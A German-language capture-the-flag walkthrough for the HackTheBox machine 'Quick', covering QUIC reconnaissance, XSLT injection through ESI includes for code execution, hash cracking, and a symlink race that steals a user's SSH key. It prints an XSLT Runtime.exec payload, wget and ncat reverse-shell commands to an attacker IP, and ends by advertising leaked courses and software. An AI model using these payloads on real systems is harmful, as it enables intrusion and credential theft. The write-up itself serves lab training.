
Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .
In diesem Artikel beschäftigen wir uns mit der QUIC HTTP / 3-Verbindung, erhalten RCE dank XSLT-Injektion und verwenden die Race Condition-Technik, um den privaten Schlüssel des Benutzers abzurufen.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.186, die ich zu / etc / hosts hinzufüge.
10.10.10.186 quick.htb
Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich es zuerst mit Masscan durchführen. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.186 --rate=500
Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.
nmap -A quick.htb -p9001,22
Wir haben also zwei Dienste - SSH und den Apache-Webserver. Mal sehen, was das Web zu bieten hat.
Es gibt einen Link zu einem Portal, auf dem HTTPS ausgeführt wird, der Port ist jedoch geschlossen. Fügen Sie diesen DNS zu / etc / hosts hinzu.
10.10.10.186 portal.quick.htb
Aber Port 443 ist geschlossen! Wir finden auch eine interessante Liste auf der Website.
Lassen Sie uns Verzeichnisse mit Gobuster scannen. In den Parametern geben wir die Anzahl der Streams 128 (-t), die URL (-u), das Wörterbuch (-w), die Erweiterungen, an denen wir interessiert sind (-x) und die Server-Antwortcodes an, die wir benötigen (-s).
gobuster dir -t 128 -u http://quick.htb:9001/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401
Und wir finden interessante Seiten, aber alle erfordern eine Genehmigung. Nach einigem Herumdrehen auf dieser Seite stellte sich eine Frage. Warum brauche ich einen Link zum Portal, wenn der entsprechende Port des Servers geschlossen ist? Dann werden wir diesen Port noch einmal gründlicher scannen.
nmap -p443 -A quick.htb
sudo nmap -p443 -A -sU quick.htb
Und dieser Port ist offen für UDP!
Einstiegspunkt
Beim Googeln finden wir einen Artikel , der die QUIC-Technologie beschreibt (ähnlich dem Namen des Autos).
Wenn wir dieses Protokoll lesen, erfahren wir, dass Chrome um die Möglichkeit erweitert wurde, mit diesem Protokoll zu arbeiten.
Sie können jedoch keine Verbindung mit der angegebenen Methode herstellen. Denken Sie dann daran, dass die Verbindungen gefiltert sind, und gehen Sie zu diesem Artikel .
Lassen Sie es uns wie im Artikel beschrieben installieren:
sudo apt install rustc cargo
git clone --recursive https://github.com/cloudflare/quiche
cd quiche
cargo build --examples
Alles wurde erfolgreich zusammengestellt, jetzt werden wir eine Anfrage an unsere Seite ausführen und eine Antwort erhalten!
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/
Der Einfachheit halber können Sie die Ausgabe in einer HTML-Datei speichern und das Dokument in einem Browser öffnen, aber ich bin bereits daran gewöhnt. Wir sehen einen Link zu einer Seite mit Dokumenten. Verweisen wir also darauf.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/index.php?view=docs
Und wir sehen zwei Dokumente. Laden Sie sie herunter.
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/QuickStart.pdf > QuickStart.pdf
RUST_LOG=info target/debug/examples/http3-client https:/quick.htb/docs/Connectivity.pdf > Connectivity.pdf
Und in Connectivity.pdf steht, mit welchem Passwort wir uns anmelden können, nur müssen wir eine Art E-Mail als Benutzernamen verwenden.
Lassen Sie uns Informationen sammeln ... Die Liste der Kunden wurde bereits früher vorgestellt, aber wir können auch Mitarbeiter finden.
Lassen Sie uns eine Liste von E-Mails erstellen. Also bezieht sich Tim auf QConsulting aus Großbritannien, dann lautet seine E-Mail höchstwahrscheinlich tim@qconsulting.co.uk. Machen wir einen für alle Namen. Und nachdem wir versucht haben, uns unter ihnen anzumelden, gehen wir erfolgreich zu elisa@wink.co.uk.
NUTZER
Nachdem ich mich ein bisschen umgesehen hatte, bemerkte ich, dass das Wappalyzer-Plugin nicht funktioniert. Werfen wir einen Blick auf die Technologien, die mit whatweb verwendet werden.
whatweb http://quick.htb:9001/home.php
Und wir sehen den Titel X-Powered-By: Esigate . Lassen Sie uns nach Exploits suchen.
Eine XSLT-Injektion kann also zu RCE führen. Wir haben von Gobuster erfahren, dass es auch die Seiten search.php und ticket.php gibt. Wenn Sie sich der Suche zuwenden. Dann wird uns gesagt, dass es keine Suchzeichenfolge gibt.
Dann übergeben wir die Parametersuche.
Und wenn Sie nach "2" suchen, gibt es ein Ergebnis.
Auf der Seite ticket.php können Sie jedoch ein Ticket erstellen.
Und wir bekommen den entsprechenden Datensatz, der gefunden werden kann. Die Ausnutzung der Schwachstelle ist gut illustriert hier . Laut Artikel müssen Sie zum Abrufen von RCE einen Link zur XSL-Datei senden, die den folgenden Inhalt enthält:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[!!!RCE!!!]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
Wobei CDATA [] den ausgeführten Befehl enthält. Wir müssen Include dieser Dateien als Nachricht senden.
<esi:include+src="FILE.xml"+stylesheet="FILE.xsl"></esi:include>
Starten Sie dann den Listener auf dem lokalen Computer.
nc -lvp 4321
Und jetzt werden wir Tickets erstellen und auf sie verweisen. Da die Zeichen ">" und "<" maskiert werden, werden drei Abfragen durchgeführt. Wir werden ncat herunterladen, ihm die Ausführungsberechtigung erteilen und eine Rückverbindung herstellen. Unten sind die CDATA [] -Werte für drei Dateien aufgeführt:
1.xsl: wget http://10.10.14.191/ncat
2.xsl: chmod +x ncat
3.xsl: ./ncat 10.10.14.191 4321 -e /bin/sh
Und wir werden 6 Anfragen ausführen (die erste ist der Inhalt der Nachricht, die zweite ist die Anfrage für das Ticket).
<esi:include+src="http://10.10.14.191/1.xml"+stylesheet="http://10.10.14.191/1.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/2.xml"+stylesheet="http://10.10.14.191/2.xsl"></esi:include>
<esi:include+src="http://10.10.14.191/3.xml"+stylesheet="http://10.10.14.191/3.xsl"></esi:include>
Und wir sehen den Zusammenhang.
BENUTZER 2
Erstellen und zeichnen Sie der Einfachheit halber einen SSH-Schlüssel auf.
Jetzt können Sie mit Ihrem privaten Schlüssel eine Verbindung herstellen. Erinnern wir uns an die Datei db.php auf den Sites, die Anmeldeinformationen für die Verbindung zur Datenbank enthalten sollte. Lass es uns überprüfen.
Lassen Sie uns mit den empfangenen Anmeldeinformationen verbinden.
mysql -h localhost -u db_adm -p
Lassen Sie uns die verfügbaren Datenbanken durchgehen.
Lassen Sie uns die schnelle Datenbank auswählen.
Schauen wir uns die Tabelle in dieser Datenbank an.
Schließlich erhalten wir die Daten aus der Benutzertabelle.
Wir bekommen Hashes, aber es funktioniert nicht, md5 zu sortieren. Sehen wir uns den Code an, in dem Hashes verglichen werden.
Das Passwort geht also zuerst in die Krypta-Funktion. Schreiben wir unseren eigenen Code, der über Passwörter iteriert.
<?php
$hash = 'c6c35ae1f3cb19438e0199cfa72a9d9d'; //'e626d51f8fbfd1124fdea88396c35d05';
$wordlist = fopen("./tools/rockyou.txt","r");
while(! feof($wordlist)) {
$str = fgets($wordlist);
$str = trim($str);
echo "Find password: " . $str ." \r";
$tmp_hash = md5(crypt($str,'fa'));
if($hash == $tmp_hash){
echo "Password Found: ". $str."\n";
fclose($wordlist);
exit(0);
}
}
fclose($wordlist);
?>
Und wir bekommen das Passwort. Sie können das Kennwort nicht lokal ändern und es funktioniert auch nicht für SSH. Überprüfen wir daher den Rest des Quellcodes. Wie Sie aus add_printer.php sehen können, werden verschiedene Parameter akzeptiert, einschließlich IP-Adresse und Port. Als nächstes wird eine Verbindung hergestellt, um die Verbindung zu testen.
Die Datei job.php ist viel interessanter.
Es ist jedoch nicht möglich, sich beim Server anzumelden, da dieser nicht verfügbar ist. Werfen wir einen Blick auf die Webserver-Einstellungen. Auf diese Weise wird die Datei erstellt und anschließend an den beim Erstellen des Druckers angegebenen Host und Port übertragen. Dank der Verzögerung für den Ruhezustand (0,5) und der Tatsache, dass die Berechtigungen für die erstellte Datei 777 sind, können wir sie vor dem Senden ändern, während wir alle Rechte für dieses Verzeichnis haben.
So können Sie ein Skript schreiben, das diese Datei mit dem privaten Schlüssel des Benutzers verknüpft!
cd /var/www/jobs;
while true;
do
for file in $(ls .);
do
rm -rf $file;
ln -s /home/srvadm/.ssh/id_rsa $file;
done
done
Werfen wir einen Blick auf die Webserver-Einstellungen.
Daher wird diese Site im Auftrag von srvadm ausgeführt und ist nur über localhost zugänglich. Lassen Sie uns den Port weiterleiten und den entsprechenden Eintrag zu / etc / hosts hinzufügen.
127.0.0.1 printerv2.quick.htb
sudo ssh -i sam -L 80:127.0.0.1:80 sam@quick.htb
Gehen wir jetzt zur Seite.
Fahren wir mit dem Hinzufügen eines Druckers fort.
Nachdem der Drucker hinzugefügt wurde, müssen Sie ihn aktivieren.
Lassen Sie uns nun unser Skript ausführen und Drucken auswählen.
Und wir werden die Verbindung zum Listener und den SSH-Schlüssel des Benutzers sehen.
WURZEL
Und im Home-Verzeichnis finden wir das .cache-Verzeichnis.
Und wir finden die Konfigurationsdatei für den Drucker.
Und in der Konfiguration finden wir die Verbindungszeichenfolge zum Drucker:
https://username:password@ip/printer
Von dort erhalten wir das Passwort, mit dem wir uns über SSH verbinden können.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.